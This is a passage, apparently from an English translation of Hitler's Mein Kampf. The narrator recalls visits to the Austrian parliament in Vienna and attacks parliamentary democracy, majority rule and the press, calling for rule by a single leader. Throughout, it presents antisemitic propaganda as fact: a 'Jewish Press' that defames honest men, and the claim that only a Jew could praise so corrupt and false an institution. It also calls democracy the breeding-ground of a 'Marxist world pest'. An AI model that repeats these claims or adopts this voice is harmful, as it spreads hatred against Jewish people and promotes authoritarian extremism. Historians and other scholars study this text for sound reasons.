Hungary there was no political tradition, coming down from +a great past, in any of the various affiliated countries. If there had +been, time had either wiped out all traces of it, or at least, rendered +them obscure. Moreover, this was the epoch when the principle of +nationality began to be in ascendant; and that phenomenon awakened the +national instincts in the various countries affiliated under the +Habsburg sceptre. It was difficult to control the action of these newly +awakened national forces; because, adjacent to the frontiers of the Dual +Monarchy, new national States were springing up whose people were of the +same or kindred racial stock as the respective nationalities that +constituted the Habsburg Empire. These new States were able to exercise +a greater influence than the German element. + +Even Vienna could not hold out for a lengthy period in this conflict. +When Budapest had developed into a metropolis a rival had grown up whose +mission was, not to help in holding together the various divergent parts +of the Empire, but rather to strengthen one part. Within a short time +Prague followed the example of Budapest; and later on came Lemberg, +Laibach and others. By raising these places which had formerly been +provincial towns to the rank of national cities, rallying centres were +provided for an independent cultural life. Through this the local +national instincts acquired a spiritual foundation and therewith gained +a more profound hold on the people. The time was bound to come when the +particularist interests of those various countries would become stronger +than their common imperial interests. Once that stage had been reached, +Austria's doom was sealed. + +The course of this development was clearly perceptible since the death +of Joseph II. Its rapidity depended on a number of factors, some of +which had their source in the Monarchy itself; while others resulted +from the position which the Empire had taken in foreign politics. + +It was impossible to make anything like a successful effort for the +permanent consolidation of the Austrian State unless a firm and +persistent policy of centralization were put into force. Before +everything else the principle should have been adopted that only one +common language could be used as the official language of the State. +Thus it would be possible to emphasize the formal unity of that imperial +commonwealth. And thus the administration would have in its hands a +technical instrument without which the State could not endure as a +political unity. In the same way the school and other forms of education +should have been used to inculcate a feeling of common citizenship. Such +an objective could not be reached within ten or twenty years. The effort +would have to be envisaged in terms of centuries; just as in all +problems of colonization, steady perseverance is a far more important +element than the output of energetic effort at the moment. + +It goes without saying that in such circumstances the country must be +governed and administered by strictly adhering to the principle of +uniformity. + +For me it was quite instructive to discover why this did not take place, +or rather why it was not done. Those who were guilty of the omission +must be held responsible for the break-up of the Habsburg Empire. + +More than any other State, the existence of the old Austria depended on +a strong and capable Government. The Habsburg Empire lacked ethnical +uniformity, which constitutes the fundamental basis of a national State +and will preserve the existence of such a State even though the ruling +power should be grossly inefficient. When a State is composed of a +homogeneous population, the natural inertia of such a population will +hold the Stage together and maintain its existence through astonishingly +long periods of misgovernment and maladministration. It may often seem +as if the principle of life had died out in such a body-politic; but a +time comes when the apparent corpse rises up and displays before the +world an astonishing manifestation of its indestructible vitality. + +But the situation is utterly different in a country where the population +is not homogeneous, where there is no bond of common blood but only that +of one ruling hand. Should the ruling hand show signs of weakness in +such a State the result will not be to cause a kind of hibernation of +the State but rather to awaken the individualist instincts which are +slumbering in the ethnological groups. These instincts do not make +themselves felt as long as these groups are dominated by a strong +central will-to-govern. The danger which exists in these slumbering +separatist instincts can be rendered more or less innocuous only through +centuries of common education, common traditions and common interests. +The younger such States are, the more their existence will depend on the +ability and strength of the central government. If their foundation was +due only to the work of a strong personality or a leader who is a man of +genius, in many cases they will break up as soon as the founder +disappears; because, though great, he stood alone. But even after +centuries of a common education and experiences these separatist +instincts I have spoken of are not always completely overcome. They may +be only dormant and may suddenly awaken when the central government +shows weakness and the force of a common education as well as the +prestige of a common tradition prove unable to withstand the vital +energies of separatist nationalities forging ahead towards the shaping +of their own individual existence. + +The failure to see the truth of all this constituted what may be called +the tragic crime of the Habsburg rulers. + +Only before the eyes of one Habsburg ruler, and that for the last time, +did the hand of Destiny hold aloft the torch that threw light on the +future of his country. But the torch was then extinguished for ever. + +Joseph II, Roman Emperor of the German nation, was filled with a growing +anxiety when he realized the fact that his House was removed to an +outlying frontier of his Empire and that the time would soon be at hand +when it would be overturned and engulfed in the whirlpool caused by that +Babylon of nationalities, unless something was done at the eleventh hour +to overcome the dire consequences resulting from the negligence of his +ancestors. With superhuman energy this 'Friend of Mankind' made every +possible effort to counteract the effects of the carelessness and +thoughtlessness of his predecessors. Within one decade he strove to +repair the damage that had been done through centuries. If Destiny had +only granted him forty years for his labours, and if only two +generations had carried on the work which he had started, the miracle +might have been performed. But when he died, broken in body and spirit +after ten years of rulership, his work sank with him into the grave and +rests with him there in the Capucin Crypt, sleeping its eternal sleep, +having never again showed signs of awakening. + +His successors had neither the ability nor the will-power necessary for +the task they had to face. + +When the first signs of a new revolutionary epoch appeared in Europe +they gradually scattered the fire throughout Austria. And when the fire +began to glow steadily it was fed and fanned not by the social or +political conditions but by forces that had their origin in the +nationalist yearnings of the various ethnic groups. + +The European revolutionary movement of 1848 primarily took the form of a +class conflict in almost every other country, but in Austria it took the +form of a new racial struggle. In so far as the German-Austrians there +forgot the origins of the movement, or perhaps had failed to recognize +them at the start and consequently took part in the revolutionary +uprising, they sealed their own fate. For they thus helped to awaken the +spirit of Western Democracy which, within a short while, shattered the +foundations of their own existence. + +The setting up of a representative parliamentary body, without insisting +on the preliminary that only one language should be used in all public +intercourse under the State, was the first great blow to the +predominance of the German element in the Dual Monarchy. From that +moment the State was also doomed to collapse sooner or later. All that +followed was nothing but the historical liquidation of an Empire. + +To watch that process of progressive disintegration was a tragic and at +the same time an instructive experience. The execution of history's +decree was carried out in thousands of details. The fact that great +numbers of people went about blindfolded amid the manifest signs of +dissolution only proves that the gods had decreed the destruction of +Austria. + +I do not wish to dwell on details because that would lie outside the +scope of this book. I want to treat in detail only those events which +are typical among the causes that lead to the decline of nations and +States and which are therefore of importance to our present age. +Moreover, the study of these events helped to furnish the basis of my +own political outlook. + +Among the institutions which most clearly manifested unmistakable signs +of decay, even to the weak-sighted Philistine, was that which, of all +the institutions of State, ought to have been the most firmly founded--I +mean the Parliament, or the Reichsrat (Imperial Council) as it was +called in Austria. + +The pattern for this corporate body was obviously that which existed in +England, the land of classic democracy. The whole of that excellent +organization was bodily transferred to Austria with as little alteration +as possible. + +As the Austrian counterpart to the British two-chamber system a Chamber +of Deputies and a House of Lords (HERRENHAUS) were established in +Vienna. The Houses themselves, considered as buildings were somewhat +different. When Barry built his palaces, or, as we say the Houses of +Parliament, on the shore of the Thames, he could look to the history of +the British Empire for the inspiration of his work. In that history he +found sufficient material to fill and decorate the 1,200 niches, +brackets, and pillars of his magnificent edifice. His statues and +paintings made the House of Lords and the House of Commons temples +dedicated to the glory of the nation. + +There it was that Vienna encountered the first difficulty. When Hansen, +the Danish architect, had completed the last gable of the marble palace +in which the new body of popular representatives was to be housed he had +to turn to the ancient classical world for subjects to fill out his +decorative plan. This theatrical shrine of 'Western Democracy' was +adorned with the statues and portraits of Greek and Roman statesmen and +philosophers. As if it were meant for a symbol of irony, the horses of +the quadriga that surmounts the two Houses are pulling apart from one +another towards all four quarters of the globe. There could be no better +symbol for the kind of activity going on within the walls of that same +building. + +The 'nationalities' were opposed to any kind of glorification of +Austrian history in the decoration of this building, insisting that such +would constitute an offence to them and a provocation. Much the same +happened in Germany, where the Reich-stag, built by Wallot, was not +dedicated to the German people until the cannons were thundering in the +World War. And then it was dedicated by an inscription. + +I was not yet twenty years of age when I first entered the Palace on the +Franzens-ring to watch and listen in the Chamber of Deputies. That first +experience aroused in me a profound feeling of repugnance. + +I had always hated the Parliament, but not as an institution in itself. +Quite the contrary. As one who cherished ideals of political freedom I +could not even imagine any other form of government. In the light of my +attitude towards the House of Habsburg I should then have considered it +a crime against liberty and reason to think of any kind of dictatorship +as a possible form of government. + +A certain admiration which I had for the British Parliament contributed +towards the formation of this opinion. I became imbued with that feeling +of admiration almost without my being conscious of the effect of it +through so much reading of newspapers while I was yet quite young. I +could not discard that admiration all in a moment. The dignified way in +which the British House of Commons fulfilled its function impressed me +greatly, thanks largely to the glowing terms in which the Austrian Press +reported these events. I used to ask myself whether there could be any +nobler form of government than self-government by the people. + +But these considerations furnished the very motives of my hostility to +the Austrian Parliament. The form in which parliamentary government was +here represented seemed unworthy of its great prototype. The following +considerations also influenced my attitude: + +The fate of the German element in the Austrian State depended on its +position in Parliament. Up to the time that universal suffrage by secret +ballot was introduced the German representatives had a majority in the +Parliament, though that majority was not a very substantial one. This +situation gave cause for anxiety because the Social-Democratic fraction +of the German element could not be relied upon when national questions +were at stake. In matters that were of critical concern for the German +element, the Social-Democrats always took up an anti-German stand +because they were afraid of losing their followers among the other +national groups. Already at that time--before the introduction of +universal suffrage--the Social-Democratic Party could no longer be +considered as a German Party. The introduction of universal suffrage put +an end even to the purely numerical predominance of the German element. +The way was now clear for the further 'de-Germanization' of the Austrian +State. + +The national instinct of self-preservation made it impossible for me to +welcome a representative system in which the German element was not +really represented as such, but always betrayed by the Social-Democratic +fraction. Yet all these, and many others, were defects which could not +be attributed to the parliamentary system as such, but rather to the +Austrian State in particular. I still believed that if the German +majority could be restored in the representative body there would be no +occasion to oppose such a system as long as the old Austrian State +continued to exist. + +Such was my general attitude at the time when I first entered those +sacred and contentious halls. For me they were sacred only because of +the radiant beauty of that majestic edifice. A Greek wonder on German +soil. + +But I soon became enraged by the hideous spectacle that met my eyes. +Several hundred representatives were there to discuss a problem of great +economical importance and each representative had the right to have his +say. + +That experience of a day was enough to supply me with food for thought +during several weeks afterwards. + +The intellectual level of the debate was quite low. Some times the +debaters did not make themselves intelligible at all. Several of those +present did not speak German but only their Slav vernaculars or +dialects. Thus I had the opportunity of hearing with my own ears what I +had been hitherto acquainted with only through reading the newspapers. A +turbulent mass of people, all gesticulating and bawling against one +another, with a pathetic old man shaking his bell and making frantic +efforts to call the House to a sense of its dignity by friendly appeals, +exhortations, and grave warnings. + +I could not refrain from laughing. + +Several weeks later I paid a second visit. This time the House presented +an entirely different picture, so much so that one could hardly +recognize it as the same place. The hall was practically empty. They +were sleeping in the other rooms below. Only a few deputies were in +their places, yawning in each other's faces. One was speechifying. A +deputy speaker was in the chair. When he looked round it was quite plain +that he felt bored. + +Then I began to reflect seriously on the whole thing. I went to the +Parliament whenever I had any time to spare and watched the spectacle +silently but attentively. I listened to the debates, as far as they +could be understood, and I studied the more or less intelligent features +of those 'elect' representatives of the various nationalities which +composed that motley State. Gradually I formed my own ideas about what I +saw. + +A year of such quiet observation was sufficient to transform or +completely destroy my former convictions as to the character of this +parliamentary institution. I no longer opposed merely the perverted form +which the principle of parliamentary representation had assumed in +Austria. No. It had become impossible for me to accept the system in +itself. Up to that time I had believed that the disastrous deficiencies +of the Austrian Parliament were due to the lack of a German majority, +but now I recognized that the institution itself was wrong in its very +essence and form. + +A number of problems presented themselves before my mind. I studied more +closely the democratic principle of 'decision by the majority vote', and +I scrutinized no less carefully the intellectual and moral worth of the +gentlemen who, as the chosen representatives of the nation, were +entrusted with the task of making this institution function. + +Thus it happened that at one and the same time I came to know the +institution itself and those of whom it was composed. And it was thus +that, within the course of a few years, I came to form a clear and vivid +picture of the average type of that most lightly worshipped phenomenon +of our time--the parliamentary deputy. The picture of him which I then +formed became deeply engraved on my mind and I have never altered it +since, at least as far as essentials go. + +Once again these object-lessons taken from real life saved me from +getting firmly entangled by a theory which at first sight seems so +alluring to many people, though that theory itself is a symptom of human +decadence. + +Democracy, as practised in Western Europe to-day, is the fore-runner of +Marxism. In fact, the latter would not be conceivable without the +former. Democracy is the breeding-ground in which the bacilli of the +Marxist world pest can grow and spread. By the introduction of +parliamentarianism, democracy produced an abortion of filth and fire +(Note 6), the creative fire of which, however, seems to have died out. + +[Note 6. SPOTTGEBURT VON DRECK UND FEUER. This is the epithet that Faust +hurls at Mephistopheles as the latter intrudes on the conversation +between Faust and Martha in the garden: + +Mephistopheles: Thou, full of sensual, super-sensual desire, + A girl by the nose is leading thee. +Faust: Abortion, thou of filth and fire.] + +I am more than grateful to Fate that this problem came to my notice when +I was still in Vienna; for if I had been in Germany at that time I might +easily have found only a superficial solution. If I had been in Berlin +when I first discovered what an illogical thing this institution is +which we call Parliament, I might easily have gone to the other extreme +and believed--as many people believed, and apparently not without good +reason--that the salvation of the people and the Empire could be secured +only by restrengthening the principle of imperial authority. Those who +had this belief did not discern the tendencies of their time and were +blind to the aspirations of the people. + +In Austria one could not be so easily misled. There it was impossible to +fall from one error into another. If the Parliament were worthless, the +Habsburgs were worse; or at least not in the slightest degree better. +The problem was not solved by rejecting the parliamentary system. +Immediately the question arose: What then? To repudiate and abolish the +Vienna Parliament would have resulted in leaving all power in the hands +of the Habsburgs. For me, especially, that idea was impossible. + +Since this problem was specially difficult in regard to Austria, I was +forced while still quite young to go into the essentials of the whole +question more thoroughly than I otherwise should have done. + +The aspect of the situation that first made the most striking impression +on me and gave me grounds for serious reflection was the manifest lack +of any individual responsibility in the representative body. + +The parliament passes some acts or decree which may have the most +devastating consequences, yet nobody bears the responsibility for it. +Nobody can be called to account. For surely one cannot say that a +Cabinet discharges its responsibility when it retires after having +brought about a catastrophe. Or can we say that the responsibility is +fully discharged when a new coalition is formed or parliament dissolved? +Can the principle of responsibility mean anything else than the +responsibility of a definite person? + +Is it at all possible actually to call to account the leaders of a +parliamentary government for any kind of action which originated in the +wishes of the whole multitude of deputies and was carried out under +their orders or sanction? Instead of developing constructive ideas and +plans, does the business of a statesman consist in the art of making a +whole pack of blockheads understand his projects? Is it his business to +entreat and coach them so that they will grant him their generous +consent? + +Is it an indispensable quality in a statesman that he should possess a +gift of persuasion commensurate with the statesman's ability to conceive +great political measures and carry them through into practice? + +Does it really prove that a statesman is incompetent if he should fail +to win over a majority of votes to support his policy in an assembly +which has been called together as the chance result of an electoral +system that is not always honestly administered. + +Has there ever been a case where such an assembly has worthily appraised +a great political concept before that concept was put into practice and +its greatness openly demonstrated through its success? + +In this world is not the creative act of the genius always a protest +against the inertia of the mass? + +What shall the statesman do if he does not succeed in coaxing the +parliamentary multitude to give its consent to his policy? Shall he +purchase that consent for some sort of consideration? + +Or, when confronted with the obstinate stupidity of his fellow citizens, +should he then refrain from pushing forward the measures which he deems +to be of vital necessity to the life of the nation? Should he retire or +remain in power? + +In such circumstances does not a man of character find himself face to +face with an insoluble contradiction between his own political insight +on the one hand and, on the other, his moral integrity, or, better +still, his sense of honesty? + +Where can we draw the line between public duty and personal honour? + +Must not every genuine leader renounce the idea of degrading himself to +the level of a political jobber? + +And, on the other hand, does not every jobber feel the itch to 'play +politics', seeing that the final responsibility will never rest with him +personally but with an anonymous mass which can never be called to +account for their deeds? + +Must not our parliamentary principle of government by numerical majority +necessarily lead to the destruction of the principle of leadership? + +Does anybody honestly believe that human progress originates in the +composite brain of the majority and not in the brain of the individual +personality? + +Or may it be presumed that for the future human civilization will be +able to dispense with this as a condition of its existence? + +But may it not be that, to-day, more than ever before, the creative +brain of the individual is indispensable? + +The parliamentary principle of vesting legislative power in the decision +of the majority rejects the authority of the individual and puts a +numerical quota of anonymous heads in its place. In doing so it +contradicts the aristrocratic principle, which is a fundamental law of +nature; but, of course, we must remember that in this decadent era of +ours the aristrocratic principle need not be thought of as incorporated +in the upper ten thousand. + +The devastating influence of this parliamentary institution might not +easily be recognized by those who read the Jewish Press, unless the +reader has learned how to think independently and examine the facts for +himself. This institution is primarily responsible for the crowded +inrush of mediocre people into the field of politics. Confronted with +such a phenomenon, a man who is endowed with real qualities of +leadership will be tempted to refrain from taking part in political +life; because under these circumstances the situation does not call for +a man who has a capacity for constructive statesmanship but rather for a +man who is capable of bargaining for the favour of the majority. Thus +the situation will appeal to small minds and will attract them +accordingly. + +The narrower the mental outlook and the more meagre the amount of +knowledge in a political jobber, the more accurate is his estimate of +his own political stock, and thus he will be all the more inclined to +appreciate a system which does not demand creative genius or even +high-class talent; but rather that crafty kind of sagacity which makes +an efficient town clerk. Indeed, he values this kind of small craftiness +more than the political genius of a Pericles. Such a mediocrity does not +even have to worry about responsibility for what he does. From the +beginning he knows that whatever be the results of his 'statesmanship' +his end is already prescribed by the stars; he will one day have to +clear out and make room for another who is of similar mental calibre. +For it is another sign of our decadent times that the number of eminent +statesmen grows according as the calibre of individual personality +dwindles. That calibre will become smaller and smaller the more the +individual politician has to depend upon parliamentary majorities. A man +of real political ability will refuse to be the beadle for a bevy of +footling cacklers; and they in their turn, being the representatives of +the majority--which means the dunder-headed multitude--hate nothing so +much as a superior brain. + +For footling deputies it is always quite a consolation to be led by a +person whose intellectual stature is on a level with their own. Thus +each one may have the opportunity to shine in debate among such compeers +and, above all, each one feels that he may one day rise to the top. If +Peter be boss to-day, then why not Paul tomorrow? + +This new invention of democracy is very closely connected with a +peculiar phenomenon which has recently spread to a pernicious extent, +namely the cowardice of a large section of our so-called political +leaders. Whenever important decisions have to be made they always find +themselves fortunate in being able to hide behind the backs of what they +call the majority. + +In observing one of these political manipulators one notices how he +wheedles the majority in order to get their sanction for whatever action +he takes. He has to have accomplices in order to be able to shift +responsibility to other shoulders whenever it is opportune to do so. +That is the main reason why this kind of political activity is abhorrent +to men of character and courage, while at the same time it attracts +inferior types; for a person who is not willing to accept responsibility +for his own actions, but is always seeking to be covered by something, +must be classed among the knaves and the rascals. If a national leader +should come from that lower class of politicians the evil consequences +will soon manifest themselves. Nobody will then have the courage to take +a decisive step. They will submit to abuse and defamation rather than +pluck up courage to take a definite stand. And thus nobody is left who +is willing to risk his position and his career, if needs be, in support +of a determined line of policy. + +One truth which must always be borne in mind is that the majority can +never replace the man. The majority represents not only ignorance but +also cowardice. And just as a hundred blockheads do not equal one man of +wisdom, so a hundred poltroons are incapable of any political line of +action that requires moral strength and fortitude. + +The lighter the burden of responsibility on each individual leader, the +greater will be the number of those who, in spite of their sorry +mediocrity, will feel the call to place their immortal energies at the +disposal of the nation. They are so much on the tip-toe of expectation +that they find it hard to wait their turn. They stand in a long queue, +painfully and sadly counting the number of those ahead of them and +calculating the hours until they may eventually come forward. They watch +every change that takes place in the personnel of the office towards +which their hopes are directed, and they are grateful for every scandal +which removes one of the aspirants waiting ahead of them in the queue. +If somebody sticks too long to his office stool they consider this as +almost a breach of a sacred understanding based on their mutual +solidarity. They grow furious and give no peace until that inconsiderate +person is finally driven out and forced to hand over his cosy berth for +public disposal. After that he will have little chance of getting +another opportunity. Usually those placemen who have been forced to give +up their posts push themselves again into the waiting queue unless they +are hounded away by the protestations of the other aspirants. + +The result of all this is that, in such a State, the succession of +sudden changes in public positions and public offices has a very +disquieting effect in general, which may easily lead to disaster when an +adverse crisis arises. It is not only the ignorant and the incompetent +person who may fall victim to those parliamentary conditions, for the +genuine leader may be affected just as much as the others, if not more +so, whenever Fate has chanced to place a capable man in the position of +leader. Let the superior quality of such a leader be once recognized and +the result will be that a joint front will be organized against him, +particularly if that leader, though not coming from their ranks, should +fall into the habit of intermingling with these illustrious nincompoops +on their own level. They want to have only their own company and will +quickly take a hostile attitude towards any man who might show himself +obviously above and beyond them when he mingles in their ranks. Their +instinct, which is so blind in other directions, is very sharp in this +particular. + +The inevitable result is that the intellectual level of the ruling class +sinks steadily. One can easily forecast how much the nation and State +are bound to suffer from such a condition of affairs, provided one does +not belong to that same class of 'leaders'. + +The parliamentary régime in the old Austria was the very archetype of +the institution as I have described it. + +Though the Austrian Prime Minister was appointed by the King-Emperor, +this act of appointment merely gave practical effect to the will of the +parliament. The huckstering and bargaining that went on in regard to +every ministerial position showed all the typical marks of Western +Democracy. The results that followed were in keeping with the principles +applied. The intervals between the replacement of one person by another +gradually became shorter, finally ending up in a wild relay chase. With +each change the quality of the 'statesman' in question deteriorated, +until finally only the petty type of political huckster remained. In +such people the qualities of statesmanship were measured and valued +according to the adroitness with which they pieced together one +coalition after another; in other words, their craftiness in +manipulating the pettiest political transactions, which is the only kind +of practical activity suited to the aptitudes of these representatives. + +In this sphere Vienna was the school which offered the most impressive +examples. + +Another feature that engaged my attention quite as much as the features +I have already spoken of was the contrast between the talents and +knowledge of these representatives of the people on the one hand and, on +the other, the nature of the tasks they had to face. Willingly or +unwillingly, one could not help thinking seriously of the narrow +intellectual outlook of these chosen representatives of the various +constituent nationalities, and one could not avoid pondering on the +methods through which these noble figures in our public life were first +discovered. + +It was worth while to make a thorough study and examination of the way +in which the real talents of these gentlemen were devoted to the service +of their country; in other words, to analyse thoroughly the technical +procedure of their activities. + +The whole spectacle of parliamentary life became more and more desolate +the more one penetrated into its intimate structure and studied the +persons and principles of the system in a spirit of ruthless +objectivity. Indeed, it is very necessary to be strictly objective in +the study of the institution whose sponsors talk of 'objectivity' in +every other sentence as the only fair basis of examination and judgment. +If one studied these gentlemen and the laws of their strenuous existence +the results were surprising. + +There is no other principle which turns out to be quite so ill-conceived +as the parliamentary principle, if we examine it objectively. + +In our examination of it we may pass over the methods according to which +the election of the representatives takes place, as well as the ways +which bring them into office and bestow new titles on them. It is quite +evident that only to a tiny degree are public wishes or public +necessities satisfied by the manner in which an election takes place; +for everybody who properly estimates the political intelligence of the +masses can easily see that this is not sufficiently developed to enable +them to form general political judgments on their own account, or to +select the men who might be competent to carry out their ideas in +practice. + +Whatever definition we may give of the term 'public opinion', only a +very small part of it originates from personal experience or individual +insight. The greater portion of it results from the manner in which +public matters have been presented to the people through an +overwhelmingly impressive and persistent system of 'information'. + +In the religious sphere the profession of a denominational belief is +largely the result of education, while the religious yearning itself +slumbers in the soul; so too the political opinions of the masses are +the final result of influences systematically operating on human +sentiment and intelligence in virtue of a method which is applied +sometimes with almost-incredible thoroughness and perseverance. + +By far the most effective branch of political education, which in this +connection is best expressed by the word 'propaganda', is carried on by +the Press. The Press is the chief means employed in the process of +political 'enlightenment'. It represents a kind of school for adults. +This educational activity, however, is not in the hands of the State but +in the clutches of powers which are partly of a very inferior character. +While still a young man in Vienna I had excellent opportunities for +coming to know the men who owned this machine for mass instruction, as +well as those who supplied it with the ideas it distributed. At first I +was quite surprised when I realized how little time was necessary for +this dangerous Great Power within the State to produce a certain belief +among the public; and in doing so the genuine will and convictions of +the public were often completely misconstrued. It took the Press only a +few days to transform some ridiculously trivial matter into an issue of +national importance, while vital problems were completely ignored or +filched and hidden away from public attention. + +The Press succeeded in the magical art of producing names from nowhere +within the course of a few weeks. They made it appear that the great +hopes of the masses were bound up with those names. And so they made +those names more popular than any man of real ability could ever hope to +be in a long lifetime. All this was done, despite the fact that such +names were utterly unknown and indeed had never been heard of even up to +a month before the Press publicly emblazoned them. At the same time old +and tried figures in the political and other spheres of life quickly +faded from the public memory and were forgotten as if they were dead, +though still healthy and in the enjoyment of their full viguour. Or +sometimes such men were so vilely abused that it looked as if their +names would soon stand as permanent symbols of the worst kind of +baseness. In order to estimate properly the really pernicious influence +which the Press can exercise one had to study this infamous Jewish +method whereby honourable and decent people were besmirched with mud and +filth, in the form of low abuse and slander, from hundreds and hundreds +of quarters simultaneously, as if commanded by some magic formula. + +These highway robbers would grab at anything which might serve their +evil ends. + +They would poke their noses into the most intimate family affairs and +would not rest until they had sniffed out some petty item which could be +used to destroy the reputation of their victim. But if the result of all +this sniffing should be that nothing derogatory was discovered in the +private or public life of the victim, they continued to hurl abuse at +him, in the belief that some of their animadversions would stick even +though refuted a thousand times. In most cases it finally turned out +impossible for the victim to continue his defence, because the accuser +worked together with so many accomplices that his slanders were +re-echoed interminably. But these slanderers would never own that they +were acting from motives which influence the common run of humanity or +are understood by them. Oh, no. The scoundrel who defamed his +contemporaries in this villainous way would crown himself with a halo of +heroic probity fashioned of unctuous phraseology and twaddle about his +'duties as a journalist' and other mouldy nonsense of that kind. When +these cuttle-fishes gathered together in large shoals at meetings and +congresses they would give out a lot of slimy talk about a special kind +of honour which they called the professional honour of the journalist. +Then the assembled species would bow their respects to one another. + +These are the kind of beings that fabricate more than two-thirds of what +is called public opinion, from the foam of which the parliamentary +Aphrodite eventually arises. + +Several volumes would be needed if one were to give an adequate account +of the whole procedure and fully describe all its hollow fallacies. But +if we pass over the details and look at the product itself while it is +in operation I think this alone will be sufficient to open the eyes of +even the most innocent and credulous person, so that he may recognize +the absurdity of this institution by looking at it objectively. + +In order to realize how this human aberration is as harmful as it is +absurd, the test and easiest method is to compare democratic +parliamentarianism with a genuine German democracy. + +The remarkable characteristic of the parliamentary form of democracy is +the fact that a number of persons, let us say five hundred--including, +in recent time, women also--are elected to parliament and invested with +authority to give final judgment on anything and everything. In practice +they alone are the governing body; for although they may appoint a +Cabinet, which seems outwardly to direct the affairs of state, this +Cabinet has not a real existence of its own. In reality the so-called +Government cannot do anything against the will of the assembly. It can +never be called to account for anything, since the right of decision is +not vested in the Cabinet but in the parliamentary majority. The Cabinet +always functions only as the executor of the will of the majority. Its +political ability can be judged only according to how far it succeeds in +adjusting itself to the will of the majority or in persuading the +majority to agree to its proposals. But this means that it must descend +from the level of a real governing power to that of a mendicant who has +to beg the approval of a majority that may be got together for the time +being. Indeed, the chief preoccupation of the Cabinet must be to secure +for itself, in the case of' each individual measure, the favour of the +majority then in power or, failing that, to form a new majority that +will be more favourably disposed. If it should succeed in either of +these efforts it may go on 'governing' for a little while. If it should +fail to win or form a majority it must retire. The question whether its +policy as such has been right or wrong does not matter at all. + +Thereby all responsibility is abolished in practice. To what +consequences such a state of affairs can lead may easily be understood +from the following simple considerations: + +Those five hundred deputies who have been elected by the people come +from various dissimilar callings in life and show very varying degrees +of political capacity, with the result that the whole combination is +disjointed and sometimes presents quite a sorry picture. Surely nobody +believes that these chosen representatives of the nation are the choice +spirits or first-class intellects. Nobody, I hope, is foolish enough to +pretend that hundreds of statesmen can emerge from papers placed in the +ballot box by electors who are anything else but averagely intelligent. +The absurd notion that men of genius are born out of universal suffrage +cannot be too strongly repudiated. In the first place, those times may +be really called blessed when one genuine statesman makes his appearance +among a people. Such statesmen do not appear all at once in hundreds or +more. Secondly, among the broad masses there is instinctively a definite +antipathy towards every outstanding genius. There is a better chance of +seeing a camel pass through the eye of a needle than of seeing a really +great man 'discovered' through an election. + +Whatever has happened in history above the level of the average of the +broad public has mostly been due to the driving force of an individual +personality. + +But here five hundred persons of less than modest intellectual qualities +pass judgment on the most important problems affecting the nation. They +form governments which in turn learn to win the approval of the +illustrious assembly for every legislative step that may be taken, which +means that the policy to be carried out is actually the policy of the +five hundred. + +And indeed, generally speaking, the policy bears the stamp of its +origin. + +But let us pass over the intellectual qualities of these representatives +and ask what is the nature of the task set before them. If we consider +the fact that the problems which have to be discussed and solved belong +to the most varied and diverse fields we can very well realize how +inefficient a governing system must be which entrusts the right of +decision to a mass assembly in which only very few possess the knowledge +and experience such as would qualify them to deal with the matters that +have to be settled. The most important economic measures are submitted +to a tribunal in which not more than one-tenth of the members have +studied the elements of economics. This means that final authority is +vested in men who are utterly devoid of any preparatory training which +might make them competent to decide on the questions at issue. + +The same holds true of every other problem. It is always a majority of +ignorant and incompetent people who decide on each measure; for the +composition of the institution does not vary, while the problems to be +dealt with come from the most varied spheres of public life. An +intelligent judgment would be possible only if different deputies had +the authority to deal with different issues. It is out of the question +to think that the same people are fitted to decide on transport +questions as well as, let us say, on questions of foreign policy, unless +each of them be a universal genius. But scarcely more than one genius +appears in a century. Here we are scarcely ever dealing with real +brains, but only with dilettanti who are as narrow-minded as they are +conceited and arrogant, intellectual DEMI-MONDES of the worst kind. This +is why these honourable gentlemen show such astonishing levity in +discussing and deciding on matters that would demand the most +painstaking consideration even from great minds. Measures of momentous +importance for the future existence of the State are framed and +discussed in an atmosphere more suited to the card-table. Indeed the +latter suggests a much more fitting occupation for these gentlemen than +that of deciding the destinies of a people. + +Of course it would be unfair to assume that each member in such a +parliament was endowed by nature with such a small sense of +responsibility. That is out of the question. + +But this system, by forcing the individual to pass judgment on questions +for which he is not competent gradually debases his moral character. +Nobody will have the courage to say: "Gentlemen, I am afraid we know +nothing about what we are talking about. I for one have no competency in +the matter at all." Anyhow if such a declaration were made it would not +change matters very much; for such outspoken honesty would not be +understood. The person who made the declaration would be deemed an +honourable ass who ought not to be allowed to spoil the game. Those who +have a knowledge of human nature know that nobody likes to be considered +a fool among his associates; and in certain circles honesty is taken as +an index of stupidity. + +Thus it happens that a naturally upright man, once he finds himself +elected to parliament, may eventually be induced by the force of +circumstances to acquiesce in a general line of conduct which is base in +itself and amounts to a betrayal of the public trust. That feeling that +if the individual refrained from taking part in a certain decision his +attitude would not alter the situation in the least, destroys every real +sense of honour which might occasionally arouse the conscience of one +person or another. Finally, the otherwise upright deputy will succeed in +persuading himself that he is by no means the worst of the lot and that +by taking part in a certain line of action he may prevent something +worse from happening. + +A counter argument may be put forward here. It may be said that of +course the individual member may not have the knowledge which is +requisite for the treatment of this or that question, yet his attitude +towards it is taken on the advice of his Party as the guiding authority +in each political matter; and it may further be said that the Party sets +up special committees of experts who have even more than the requisite +knowledge for dealing with the questions placed before them. + +At first sight, that argument seems sound. But then another question +arises--namely, why are five hundred persons elected if only a few have +the wisdom which is required to deal with the more important problems? + +It is not the aim of our modern democratic parliamentary system to bring +together an assembly of intelligent and well-informed deputies. Not at +all. The aim rather is to bring together a group of nonentities who are +dependent on others for their views and who can be all the more easily +led, the narrower the mental outlook of each individual is. That is the +only way in which a party policy, according to the evil meaning it has +to-day, can be put into effect. And by this method alone it is possible +for the wirepuller, who exercises the real control, to remain in the +dark, so that personally he can never be brought to account for his +actions. For under such circumstances none of the decisions taken, no +matter how disastrous they may turn out for the nation as a whole, can +be laid at the door of the individual whom everybody knows to be the +evil genius responsible for the whole affair. All responsibility is +shifted to the shoulders of the Party as a whole. + +In practice no actual responsibility remains. For responsibility arises +only from personal duty and not from the obligations that rest with a +parliamentary assembly of empty talkers. + +The parliamentary institution attracts people of the badger type, who do +not like the open light. No upright man, who is ready to accept personal +responsibility for his acts, will be attracted to such an institution. + +That is the reason why this brand of democracy has become a tool in the +hand of that race which, because of the inner purposes it wishes to +attain, must shun the open light, as it has always done and always will +do. Only a Jew can praise an institution which is as corrupt and false +as himself. + +As a contrast to this kind of democracy we have the German democracy, +which is a true democracy; for here the leader is freely chosen and is +obliged to accept full responsibility for all his actions and omissions. +The problems to be dealt with are not put to the vote of the majority; +but they are decided upon by the individual, and as a guarantee of +responsibility for those decisions he pledges all he has in the world +and even his life. + +The objection may be raised here that under such conditions it would be +very difficult to find a man who would be ready to devote himself to so +fateful a task. The answer to that objection is as follows: + +We thank God that the inner 